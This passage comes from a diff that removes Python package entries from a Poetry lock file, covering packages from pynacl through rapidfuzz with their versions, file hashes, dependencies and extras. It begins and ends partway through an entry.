"sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92"}, - {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394"}, - {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d"}, - {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858"}, - {file = "PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b"}, - {file = "PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff"}, - {file = "PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543"}, - {file = "PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93"}, - {file = "PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba"}, -] - -[package.dependencies] -cffi = ">=1.4.1" - -[package.extras] -docs = ["sphinx (>=1.6.5)", "sphinx-rtd-theme"] -tests = ["hypothesis (>=3.27.0)", "pytest (>=3.2.1,!=3.3.0)"] - -[[package]] -name = "pyparsing" -version = "3.2.3" -description = "pyparsing module - Classes and methods to define and execute parsing grammars" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pyparsing-3.2.3-py3-none-any.whl", hash = "sha256:a749938e02d6fd0b59b356ca504a24982314bb090c383e3cf201c95ef7e2bfcf"}, - {file = "pyparsing-3.2.3.tar.gz", hash = "sha256:b9c13f1ab8b3b542f72e28f634bad4de758ab3ce4546e4301970ad6fa77c38be"}, -] - -[package.extras] -diagrams = ["jinja2", "railroad-diagrams"] - -[[package]] -name = "pypdf" -version = "6.0.0" -description = "A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pypdf-6.0.0-py3-none-any.whl", hash = "sha256:56ea60100ce9f11fc3eec4f359da15e9aec3821b036c1f06d2b660d35683abb8"}, - {file = "pypdf-6.0.0.tar.gz", hash = "sha256:282a99d2cc94a84a3a3159f0d9358c0af53f85b4d28d76ea38b96e9e5ac2a08d"}, -] - -[package.extras] -crypto = ["cryptography"] -cryptodome = ["PyCryptodome"] -dev = ["black", "flit", "pip-tools", "pre-commit", "pytest-cov", "pytest-socket", "pytest-timeout", "pytest-xdist", "wheel"] -docs = ["myst_parser", "sphinx", "sphinx_rtd_theme"] -full = ["Pillow (>=8.0.0)", "cryptography"] -image = ["Pillow (>=8.0.0)"] - -[[package]] -name = "pypdf2" -version = "3.0.1" -description = "A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "PyPDF2-3.0.1.tar.gz", hash = "sha256:a74408f69ba6271f71b9352ef4ed03dc53a31aa404d29b5d31f53bfecfee1440"}, - {file = "pypdf2-3.0.1-py3-none-any.whl", hash = "sha256:d16e4205cfee272fbdc0568b68d82be796540b1537508cef59388f839c191928"}, -] - -[package.extras] -crypto = ["PyCryptodome"] -dev = ["black", "flit", "pip-tools", "pre-commit (<2.18.0)", "pytest-cov", "wheel"] -docs = ["myst_parser", "sphinx", "sphinx_rtd_theme"] -full = ["Pillow", "PyCryptodome"] -image = ["Pillow"] - -[[package]] -name = "pyright" -version = "1.1.403" -description = "Command line wrapper for pyright" -optional = false -python-versions = ">=3.7" -groups = ["dev"] -files = [ - {file = "pyright-1.1.403-py3-none-any.whl", hash = "sha256:c0eeca5aa76cbef3fcc271259bbd785753c7ad7bcac99a9162b4c4c7daed23b3"}, - {file = "pyright-1.1.403.tar.gz", hash = "sha256:3ab69b9f41c67fb5bbb4d7a36243256f0d549ed3608678d381d5f51863921104"}, -] - -[package.dependencies] -nodeenv = ">=1.6.0" -typing-extensions = ">=4.1" - -[package.extras] -all = ["nodejs-wheel-binaries", "twine (>=3.4.1)"] -dev = ["twine (>=3.4.1)"] -nodejs = ["nodejs-wheel-binaries"] - -[[package]] -name = "pyte" -version = "0.8.2" -description = "Simple VTXXX-compatible terminal emulator." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "pyte-0.8.2-py3-none-any.whl", hash = "sha256:85db42a35798a5aafa96ac4d8da78b090b2c933248819157fc0e6f78876a0135"}, - {file = "pyte-0.8.2.tar.gz", hash = "sha256:5af970e843fa96a97149d64e170c984721f20e52227a2f57f0a54207f08f083f"}, -] - -[package.dependencies] -wcwidth = "*" - -[[package]] -name = "pytest" -version = "8.4.1" -description = "pytest: simple powerful testing with Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest-8.4.1-py3-none-any.whl", hash = "sha256:539c70ba6fcead8e78eebbf1115e8b589e7565830d7d006a8723f19ac8a0afb7"}, - {file = "pytest-8.4.1.tar.gz", hash = "sha256:7c67fd69174877359ed9371ec3af8a3d2b04741818c51e5e99cc1742251fa93c"}, -] - -[package.dependencies] -colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""} -iniconfig = ">=1" -packaging = ">=20" -pluggy = ">=1.5,<2" -pygments = ">=2.7.2" - -[package.extras] -dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests", "setuptools", "xmlschema"] - -[[package]] -name = "pytest-asyncio" -version = "1.1.0" -description = "Pytest support for asyncio" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_asyncio-1.1.0-py3-none-any.whl", hash = "sha256:5fe2d69607b0bd75c656d1211f969cadba035030156745ee09e7d71740e58ecf"}, - {file = "pytest_asyncio-1.1.0.tar.gz", hash = "sha256:796aa822981e01b68c12e4827b8697108f7205020f24b5793b3c41555dab68ea"}, -] - -[package.dependencies] -pytest = ">=8.2,<9" - -[package.extras] -docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)"] -testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"] - -[[package]] -name = "pytest-cov" -version = "6.2.1" -description = "Pytest plugin for measuring coverage." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_cov-6.2.1-py3-none-any.whl", hash = "sha256:f5bc4c23f42f1cdd23c70b1dab1bbaef4fc505ba950d53e0081d0730dd7e86d5"}, - {file = "pytest_cov-6.2.1.tar.gz", hash = "sha256:25cc6cc0a5358204b8108ecedc51a9b57b34cc6b8c967cc2c01a4e00d8a67da2"}, -] - -[package.dependencies] -coverage = {version = ">=7.5", extras = ["toml"]} -pluggy = ">=1.2" -pytest = ">=6.2.5" - -[package.extras] -testing = ["fields", "hunter", "process-tests", "pytest-xdist", "virtualenv"] - -[[package]] -name = "pytest-mock" -version = "3.14.1" -description = "Thin-wrapper around the mock package for easier use with pytest" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "pytest_mock-3.14.1-py3-none-any.whl", hash = "sha256:178aefcd11307d874b4cd3100344e7e2d888d9791a6a1d9bfe90fbc1b74fd1d0"}, - {file = "pytest_mock-3.14.1.tar.gz", hash = "sha256:159e9edac4c451ce77a5cdb9fc5d1100708d2dd4ba3c3df572f14097351af80e"}, -] - -[package.dependencies] -pytest = ">=6.2.5" - -[package.extras] -dev = ["pre-commit", "pytest-asyncio", "tox"] - -[[package]] -name = "python-dateutil" -version = "2.9.0.post0" -description = "Extensions to the standard Python datetime module" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["main"] -files = [ - {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, - {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, -] - -[package.dependencies] -six = ">=1.5" - -[[package]] -name = "python-dotenv" -version = "1.1.1" -description = "Read key-value pairs from a .env file and set them as environment variables" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "python_dotenv-1.1.1-py3-none-any.whl", hash = "sha256:31f23644fe2602f88ff55e1f5c79ba497e01224ee7737937930c448e4d0e24dc"}, - {file = "python_dotenv-1.1.1.tar.gz", hash = "sha256:a8a6399716257f45be6a007360200409fce5cda2661e3dec71d23dc15f6189ab"}, -] - -[package.extras] -cli = ["click (>=5.0)"] - -[[package]] -name = "python-multipart" -version = "0.0.18" -description = "A streaming multipart parser for Python" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "python_multipart-0.0.18-py3-none-any.whl", hash = "sha256:efe91480f485f6a361427a541db4796f9e1591afc0fb8e7a4ba06bfbc6708996"}, - {file = "python_multipart-0.0.18.tar.gz", hash = "sha256:7a68db60c8bfb82e460637fa4750727b45af1d5e2ed215593f917f64694d34fe"}, -] - -[[package]] -name = "python-pptx" -version = "1.0.2" -description = "Create, read, and update PowerPoint 2007+ (.pptx) files." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "python_pptx-1.0.2-py3-none-any.whl", hash = "sha256:160838e0b8565a8b1f67947675886e9fea18aa5e795db7ae531606d68e785cba"}, - {file = "python_pptx-1.0.2.tar.gz", hash = "sha256:479a8af0eaf0f0d76b6f00b0887732874ad2e3188230315290cd1f9dd9cc7095"}, -] - -[package.dependencies] -lxml = ">=3.1.0" -Pillow = ">=3.3.2" -typing-extensions = ">=4.9.0" -XlsxWriter = ">=0.5.7" - -[[package]] -name = "pytz" -version = "2025.2" -description = "World timezone definitions, modern and historical" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00"}, - {file = "pytz-2025.2.tar.gz", hash = "sha256:360b9e3dbb49a209c21ad61809c7fb453643e048b38924c765813546746e81c3"}, -] - -[[package]] -name = "pywin32" -version = "311" -description = "Python for Window Extensions" -optional = false -python-versions = "*" -groups = ["main"] -markers = "sys_platform == \"win32\"" -files = [ - {file = "pywin32-311-cp310-cp310-win32.whl", hash = "sha256:d03ff496d2a0cd4a5893504789d4a15399133fe82517455e78bad62efbb7f0a3"}, - {file = "pywin32-311-cp310-cp310-win_amd64.whl", hash = "sha256:797c2772017851984b97180b0bebe4b620bb86328e8a884bb626156295a63b3b"}, - {file = "pywin32-311-cp310-cp310-win_arm64.whl", hash = "sha256:0502d1facf1fed4839a9a51ccbcc63d952cf318f78ffc00a7e78528ac27d7a2b"}, - {file = "pywin32-311-cp311-cp311-win32.whl", hash = "sha256:184eb5e436dea364dcd3d2316d577d625c0351bf237c4e9a5fabbcfa5a58b151"}, - {file = "pywin32-311-cp311-cp311-win_amd64.whl", hash = "sha256:3ce80b34b22b17ccbd937a6e78e7225d80c52f5ab9940fe0506a1a16f3dab503"}, - {file = "pywin32-311-cp311-cp311-win_arm64.whl", hash = "sha256:a733f1388e1a842abb67ffa8e7aad0e70ac519e09b0f6a784e65a136ec7cefd2"}, - {file = "pywin32-311-cp312-cp312-win32.whl", hash = "sha256:750ec6e621af2b948540032557b10a2d43b0cee2ae9758c54154d711cc852d31"}, - {file = "pywin32-311-cp312-cp312-win_amd64.whl", hash = "sha256:b8c095edad5c211ff31c05223658e71bf7116daa0ecf3ad85f3201ea3190d067"}, - {file = "pywin32-311-cp312-cp312-win_arm64.whl", hash = "sha256:e286f46a9a39c4a18b319c28f59b61de793654af2f395c102b4f819e584b5852"}, - {file = "pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d"}, - {file = "pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d"}, - {file = "pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a"}, - {file = "pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee"}, - {file = "pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87"}, - {file = "pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42"}, - {file = "pywin32-311-cp38-cp38-win32.whl", hash = "sha256:6c6f2969607b5023b0d9ce2541f8d2cbb01c4f46bc87456017cf63b73f1e2d8c"}, - {file = "pywin32-311-cp38-cp38-win_amd64.whl", hash = "sha256:c8015b09fb9a5e188f83b7b04de91ddca4658cee2ae6f3bc483f0b21a77ef6cd"}, - {file = "pywin32-311-cp39-cp39-win32.whl", hash = "sha256:aba8f82d551a942cb20d4a83413ccbac30790b50efb89a75e4f586ac0bb8056b"}, - {file = "pywin32-311-cp39-cp39-win_amd64.whl", hash = "sha256:e0c4cfb0621281fe40387df582097fd796e80430597cb9944f0ae70447bacd91"}, - {file = "pywin32-311-cp39-cp39-win_arm64.whl", hash = "sha256:62ea666235135fee79bb154e695f3ff67370afefd71bd7fea7512fc70ef31e3d"}, -] - -[[package]] -name = "pyyaml" -version = "6.0.2" -description = "YAML parser and emitter for Python" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "PyYAML-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0a9a2848a5b7feac301353437eb7d5957887edbf81d56e903999a75a3d743086"}, - {file = "PyYAML-6.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:29717114e51c84ddfba879543fb232a6ed60086602313ca38cce623c1d62cfbf"}, - {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8824b5a04a04a047e72eea5cec3bc266db09e35de6bdfe34c9436ac5ee27d237"}, - {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7c36280e6fb8385e520936c3cb3b8042851904eba0e58d277dca80a5cfed590b"}, - {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ec031d5d2feb36d1d1a24380e4db6d43695f3748343d99434e6f5f9156aaa2ed"}, - {file = "PyYAML-6.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:936d68689298c36b53b29f23c6dbb74de12b4ac12ca6cfe0e047bedceea56180"}, - {file = "PyYAML-6.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:23502f431948090f597378482b4812b0caae32c22213aecf3b55325e049a6c68"}, - {file = "PyYAML-6.0.2-cp310-cp310-win32.whl", hash = "sha256:2e99c6826ffa974fe6e27cdb5ed0021786b03fc98e5ee3c5bfe1fd5015f42b99"}, - {file = "PyYAML-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:a4d3091415f010369ae4ed1fc6b79def9416358877534caf6a0fdd2146c87a3e"}, - {file = "PyYAML-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cc1c1159b3d456576af7a3e4d1ba7e6924cb39de8f67111c735f6fc832082774"}, - {file = "PyYAML-6.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e2120ef853f59c7419231f3bf4e7021f1b936f6ebd222406c3b60212205d2ee"}, - {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d225db5a45f21e78dd9358e58a98702a0302f2659a3c6cd320564b75b86f47c"}, - {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5ac9328ec4831237bec75defaf839f7d4564be1e6b25ac710bd1a96321cc8317"}, - {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ad2a3decf9aaba3d29c8f537ac4b243e36bef957511b4766cb0057d32b0be85"}, - {file = "PyYAML-6.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ff3824dc5261f50c9b0dfb3be22b4567a6f938ccce4587b38952d85fd9e9afe4"}, - {file = "PyYAML-6.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:797b4f722ffa07cc8d62053e4cff1486fa6dc094105d13fea7b1de7d8bf71c9e"}, - {file = "PyYAML-6.0.2-cp311-cp311-win32.whl", hash = "sha256:11d8f3dd2b9c1207dcaf2ee0bbbfd5991f571186ec9cc78427ba5bd32afae4b5"}, - {file = "PyYAML-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e10ce637b18caea04431ce14fabcf5c64a1c61ec9c56b071a4b7ca131ca52d44"}, - {file = "PyYAML-6.0.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c70c95198c015b85feafc136515252a261a84561b7b1d51e3384e0655ddf25ab"}, - {file = "PyYAML-6.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce826d6ef20b1bc864f0a68340c8b3287705cae2f8b4b1d932177dcc76721725"}, - {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f71ea527786de97d1a0cc0eacd1defc0985dcf6b3f17bb77dcfc8c34bec4dc5"}, - {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b22676e8097e9e22e36d6b7bda33190d0d400f345f23d4065d48f4ca7ae0425"}, - {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80bab7bfc629882493af4aa31a4cfa43a4c57c83813253626916b8c7ada83476"}, - {file = "PyYAML-6.0.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0833f8694549e586547b576dcfaba4a6b55b9e96098b36cdc7ebefe667dfed48"}, - {file = "PyYAML-6.0.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8b9c7197f7cb2738065c481a0461e50ad02f18c78cd75775628afb4d7137fb3b"}, - {file = "PyYAML-6.0.2-cp312-cp312-win32.whl", hash = "sha256:ef6107725bd54b262d6dedcc2af448a266975032bc85ef0172c5f059da6325b4"}, - {file = "PyYAML-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:7e7401d0de89a9a855c839bc697c079a4af81cf878373abd7dc625847d25cbd8"}, - {file = "PyYAML-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba"}, - {file = "PyYAML-6.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1"}, - {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133"}, - {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484"}, - {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5"}, - {file = "PyYAML-6.0.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc"}, - {file = "PyYAML-6.0.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652"}, - {file = "PyYAML-6.0.2-cp313-cp313-win32.whl", hash = "sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183"}, - {file = "PyYAML-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563"}, - {file = "PyYAML-6.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:24471b829b3bf607e04e88d79542a9d48bb037c2267d7927a874e6c205ca7e9a"}, - {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7fded462629cfa4b685c5416b949ebad6cec74af5e2d42905d41e257e0869f5"}, - {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d84a1718ee396f54f3a086ea0a66d8e552b2ab2017ef8b420e92edbc841c352d"}, - {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9056c1ecd25795207ad294bcf39f2db3d845767be0ea6e6a34d856f006006083"}, - {file = "PyYAML-6.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:82d09873e40955485746739bcb8b4586983670466c23382c19cffecbf1fd8706"}, - {file = "PyYAML-6.0.2-cp38-cp38-win32.whl", hash = "sha256:43fa96a3ca0d6b1812e01ced1044a003533c47f6ee8aca31724f78e93ccc089a"}, - {file = "PyYAML-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:01179a4a8559ab5de078078f37e5c1a30d76bb88519906844fd7bdea1b7729ff"}, - {file = "PyYAML-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:688ba32a1cffef67fd2e9398a2efebaea461578b0923624778664cc1c914db5d"}, - {file = "PyYAML-6.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a8786accb172bd8afb8be14490a16625cbc387036876ab6ba70912730faf8e1f"}, - {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e03406cac8513435335dbab54c0d385e4a49e4945d2909a581c83647ca0290"}, - {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f753120cb8181e736c57ef7636e83f31b9c0d1722c516f7e86cf15b7aa57ff12"}, - {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b1fdb9dc17f5a7677423d508ab4f243a726dea51fa5e70992e59a7411c89d19"}, - {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0b69e4ce7a131fe56b7e4d770c67429700908fc0752af059838b1cfb41960e4e"}, - {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:a9f8c2e67970f13b16084e04f134610fd1d374bf477b17ec1599185cf611d725"}, - {file = "PyYAML-6.0.2-cp39-cp39-win32.whl", hash = "sha256:6395c297d42274772abc367baaa79683958044e5d3835486c16da75d2a694631"}, - {file = "PyYAML-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:39693e1f8320ae4f43943590b49779ffb98acb81f788220ea932a6b6c51004d8"}, - {file = "pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e"}, -] - -[[package]] -name = "rapidfuzz" -version = "3.13.0" -description = "rapid fuzzy string matching" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "rapidfuzz-3.13.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:aafc42a1dc5e1beeba52cd83baa41372228d6d8266f6d803c16dbabbcc156255"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:85c9a131a44a95f9cac2eb6e65531db014e09d89c4f18c7b1fa54979cb9ff1f3"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7d7cec4242d30dd521ef91c0df872e14449d1dffc2a6990ede33943b0dae56c3"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e297c09972698c95649e89121e3550cee761ca3640cd005e24aaa2619175464e"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ef0f5f03f61b0e5a57b1df7beafd83df993fd5811a09871bad6038d08e526d0d"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d8cf5f7cd6e4d5eb272baf6a54e182b2c237548d048e2882258336533f3f02b7"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9256218ac8f1a957806ec2fb9a6ddfc6c32ea937c0429e88cf16362a20ed8602"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e1bdd2e6d0c5f9706ef7595773a81ca2b40f3b33fd7f9840b726fb00c6c4eb2e"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5280be8fd7e2bee5822e254fe0a5763aa0ad57054b85a32a3d9970e9b09bbcbf"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:fd742c03885db1fce798a1cd87a20f47f144ccf26d75d52feb6f2bae3d57af05"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5435fcac94c9ecf0504bf88a8a60c55482c32e18e108d6079a0089c47f3f8cf6"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:93a755266856599be4ab6346273f192acde3102d7aa0735e2f48b456397a041f"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-win32.whl", hash = "sha256:3abe6a4e8eb4cfc4cda04dd650a2dc6d2934cbdeda5def7e6fd1c20f6e7d2a0b"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-win_amd64.whl", hash = "sha256:e8ddb58961401da7d6f55f185512c0d6bd24f529a637078d41dd8ffa5a49c107"}, - {file = "rapidfuzz-3.13.0-cp310-cp310-win_arm64.whl", hash = "sha256:c523620d14ebd03a8d473c89e05fa1ae152821920c3ff78b839218ff69e19ca3"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d395a5cad0c09c7f096433e5fd4224d83b53298d53499945a9b0e5a971a84f3a"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b7b3eda607a019169f7187328a8d1648fb9a90265087f6903d7ee3a8eee01805"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:98e0bfa602e1942d542de077baf15d658bd9d5dcfe9b762aff791724c1c38b70"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bef86df6d59667d9655905b02770a0c776d2853971c0773767d5ef8077acd624"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fedd316c165beed6307bf754dee54d3faca2c47e1f3bcbd67595001dfa11e969"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5158da7f2ec02a930be13bac53bb5903527c073c90ee37804090614cab83c29e"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b6f913ee4618ddb6d6f3e387b76e8ec2fc5efee313a128809fbd44e65c2bbb2"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d25fdbce6459ccbbbf23b4b044f56fbd1158b97ac50994eaae2a1c0baae78301"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:25343ccc589a4579fbde832e6a1e27258bfdd7f2eb0f28cb836d6694ab8591fc"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:a9ad1f37894e3ffb76bbab76256e8a8b789657183870be11aa64e306bb5228fd"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:5dc71ef23845bb6b62d194c39a97bb30ff171389c9812d83030c1199f319098c"}, - {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b7f4c65facdb94f44be759bbd9b6dda1fa54d0d6169cdf1a209a5ab97d311a75"}, - {file = 